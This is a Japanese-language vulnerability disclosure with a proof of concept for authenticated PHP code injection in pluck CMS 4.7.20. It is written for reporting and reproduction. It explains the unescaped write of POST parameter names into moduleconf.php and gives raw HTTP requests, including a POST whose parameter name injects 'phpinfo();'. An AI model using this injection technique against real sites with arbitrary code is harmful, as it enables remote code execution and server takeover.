
pluck-CMS-4.7.20-コードインジェクション脆弱性
admin.php内のmodule_addtosite関数は、$_POST配列全体を反復処理し、ユーザーが制御可能なパラメータ名をexplode('|', ...)で分割し、そのままdata/settings/themes//moduleconf.phpに連結します。このファイルはその後、バックエンドページおよびフロントエンドのtheme_area()レンダリング処理に含まれます。パラメータ名はホワイトリスト検証やセキュリティエスケープが行われていないため、攻撃者は実行可能なPHPファイルを汚染し、コードインジェクションの脆弱性を引き起こす可能性があります。
プロジェクトアドレス:https://github.com/pluck-cms/pluck/
再現環境:pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
1、まず、新しい環境をインストールします。
2、「/login.php」ページにアクセスし、管理者アカウントでログインします。ログイン成功後、現在のCookieを以下のように記録します:login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
3、POSTデータパケットを送信します。注入コードは「phpinfo();」です。
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11
4、ウェブサイトのルートディレクトリにアクセスすると、ホームページにリダイレクトされます。注入されたコードが実行されていることが確認できます。 图片